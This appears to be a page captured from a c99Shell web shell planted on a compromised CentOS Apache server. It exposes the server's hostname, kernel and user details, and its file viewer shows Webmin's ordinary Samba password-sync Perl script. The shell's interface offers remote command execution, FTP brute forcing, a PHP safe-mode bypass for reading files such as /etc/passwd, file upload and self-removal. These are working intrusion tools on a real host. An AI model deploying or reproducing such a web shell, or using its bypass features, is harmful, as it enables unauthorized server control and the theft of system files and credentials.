!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/samba/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     make_epass.cgi (4.2 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# make_epass.cgi
# Create or update the samba password file from the list of Unix users

require './samba-lib.pl';
&ReadParse();
# check acls

&error_setup("$text{'eacl_aviol'}ask_epass.cgi");
&error("$text{'eacl_np'} $text{'eacl_pmpass'}")
        unless $access{'maint_makepass'};
# make
&ui_print_header(undef, $text{'mkpass_title'}, "");
&error_setup($text{'mkpass_convfail'});
$| = 1;

if ($config{'smb_passwd'} =~ /^(.*)\/([^\/]+)$/) {
    mkdir($1, 0700);
    }
&lock_file($config{'smb_passwd'});
@ulist = &list_users();
map { $suser{$_->{'name'}} = $_ } @ulist;

print "$text{'mkpass_msg'}<p>\n";
@skip = split(/[ \t,]/ , $in{"skip_list"});
@include = split(/[ \t,]/ , $in{"include_list"});
print &ui_columns_start([ $text{'mkpass_user'}, $text{'mkpass_action'} ]);
setpwent();
while(@uinfo = getpwent()) {
    # Get new and existing user details
    local ($c1, $c2, $m);
    local $huinfo = &html_escape($uinfo[0]);
    $uexists{$uinfo[0]}++;
    local $su = $suser{$uinfo[0]};

    # Check if this user would be skipped
    if ($in{'who'} == 1 && &check_user_list(\@uinfo, \@skip) ||
        $in{'who'} == 0 && !&check_user_list(\@uinfo, \@include)) {
        $skipcount++;
        }

    elsif ($su && $in{"update"}) {
        if ($su->{'opts'}) {
            # new-style user
            if ($uinfo[2] == $su->{'uid'}) {
                $m = $text{'mkpass_same'};
                }
            else {
                $su->{'uid'} = $uinfo[2];
                $su->{'real'} = $uinfo[6];
                &modify_user($su);
                $m = $text{'mkpass_update'};
                $c1 = "<i>"; $c2 = "</i>";
                $modified++;
                }
            }
        else {
            # old-style user
            if ($uinfo[2] == $su->{'uid'} &&
                $uinfo[6] eq $su->{'real'} &&
                $uinfo[7] eq $su->{'home'} &&
                $uinfo[8] eq $su->{'shell'}) {
                $m = $text{'mkpass_same'};
                }
            else {
                $su->{'uid'} = $uinfo[2];
                $su->{'real'} = $uinfo[6];
                $su->{'home'} = $uinfo[7];
                $su->{'shell'} = $uinfo[8];
                &modify_user($su);
                $m = $text{'mkpass_update'};
                $c1 = "<i>"; $c2 = "</i>";
                $modified++;
                }
            }
        }
    elsif ($in{"add"} && !$su) {
        local $nu = { 'name' => $uinfo[0],
                  'uid' => $uinfo[2] };
        local @flags = ("U");
        $c1 = "<b>"; $c2 = "</b>";
        $m = $text{'mkpass_add'};
        if ($in{'newmode'} == 0) {
            $nu->{'pass1'} = "NO PASSWORDXXXXXXXXXXXXXXXXXXXXX";
            $nu->{'pass2'} = $nu->{'pass1'};
            push(@flags, "N");
            }
        else {
            $nu->{'pass1'} = $nu->{'pass2'} = ("X" x 32);
            if ($in{'newmode'} == 2) {
                $setpass{$uinfo[0]} = $in{'newpass'};
                }
            else { push(@flags, "D"); }
            }
        if ($samba_version < 2) {
            $nu->{'real'} = $uinfo[6];
            $nu->{'home'} = $uinfo[7];
            $nu->{'shell'} = $uinfo[8];
            }
        else {
            $nu->{'opts'} = \@flags;
            }
        &create_user($nu);
        $created++;
        }
    if ($m) {
        print &ui_columns_row([
            &html_escape($uinfo[0]),
            $c1.$m.$c2 ]);
        }
    }
endpwent() if ($gconfig{'os_type'} ne 'hpux');

# Delete missing users, if needed
if ($in{"delete"}) {
    foreach $u (@ulist) {
        if (!$uexists{$u->{'name'}}) {
            # delete this samba user..
            &delete_user($u);
            print &ui_columns_row([
                &html_escape($u->{'name'}),
                "<font color=#ff0000>$text{'mkpass_del'}</font>",
                ]);
            $deleted++;
            }
        }
    }
print &ui_columns_end();
if ($skipcount) {
    print &text('mkpass_skipcount', $skipcount),"<p>\n";
    }

# Update the passwords of new users
foreach $u (keys %setpass) {
    &set_password($u, $setpass{$u}) ||
        &error($text{'mkpass_passfail'});
    }
&unlock_file($config{'smb_passwd'});
&webmin_log("epass", undef, undef, { 'modified' => $modified,
                     'created' => $created,
                     'deleted' => $deleted } );

&ui_print_footer("", $text{'index_sharelist'});

# check_user_list(&uinfo, &list)
# Checks if some user matches a username / UID list
sub check_user_list
{
local ($uinfo, $skip) = @_;
local $skipme = 0;
foreach my $s (@$skip) {
    if ($s eq $uinfo->[0]) { $skipme++; }
    elsif ($s =~ /^(\d+)$/ && $s == $uinfo->[2]) { $skipme++; }
    elsif ($s =~ /^(\d+)\-(\d+)$/ &&
           $uinfo->[2] >= $1 && $uinfo->[2] <= $2) { $skipme++; }
    elsif ($s =~ /^(\d+)\-$/ && $uinfo->[2] >= $1) { $skipme++; }
    elsif ($s =~ /^\-(\d+)$/ && $uinfo->[2] <= $1) { $skipme++; }
    elsif ($s =~ /^\@(.*)$/) {
        local @ginfo = getgrnam($1);
        local @mems = split(/\s+/, $ginfo[3]);
        $skipme++ if ($uinfo->[3] == $ginfo[2] ||
                  &indexof($uinfo->[0], @mems) >= 0);
        }
    }
return $skipme;
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0071 ]--